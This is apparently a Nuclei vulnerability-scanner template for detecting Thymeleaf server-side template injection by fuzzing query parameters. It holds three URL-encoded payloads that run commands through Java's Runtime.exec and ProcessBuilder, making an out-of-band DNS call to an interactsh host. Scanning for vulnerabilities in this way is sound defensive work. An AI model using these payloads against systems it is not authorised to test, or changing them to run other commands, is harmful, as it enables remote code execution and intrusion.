id: thymeleaf-oob

info:
  name: Thymeleaf - Out of Band Template Injection
  author: ritikchaddha
  severity: high
  description: |
    Thymeleaf template injection occurs when user input is embedded in a template without proper sanitization. This can lead to remote code execution through Thymeleaf's expression language features.
  reference:
    - https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/
  metadata:
    max-request: 1
  tags: thymeleaf,oob,ssti,oast,dast,vuln

http:
  - pre-condition:
      - type: dsl
        dsl:
          - 'method == "GET"'

    payloads:
      injection:
        - "%24%7B%23rt%20%3D%20%40java.lang.Runtime%40getRuntime%28%29%2C%23rt.exec%28%27nslookup%20-type%3DSRV%20{{interactsh-url}}%27%29%7D"
        - "%24%7BT%28java.lang.Runtime%29.getRuntime%28%29.exec%28%27nslookup%20-type%3DSRV%20{{interactsh-url}}%27%29%7D"
        - "%24%7Bnew%20java.lang.ProcessBuilder%28%27nslookup%27%2C%27-type%3DSRV%27%2C%27{{interactsh-url}}%27%29.start%28%29%7D"

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{injection}}"

    matchers:
      - type: dsl
        name: request-matcher
        dsl:
          - "contains(interactsh_protocol,'dns')"
          - "contains(interactsh_request,'srv')"
        condition: and
# digest: 4a0a00473045022100c635809efed83e261b096367e3a392a6410c0ac546ec584edaebf60ac260873b02201f999fe9db68dcda1ec0665b778076a732dd0a8e936bac37bbb0093d5da14289:922c64590222798bb761d5b6d8e72950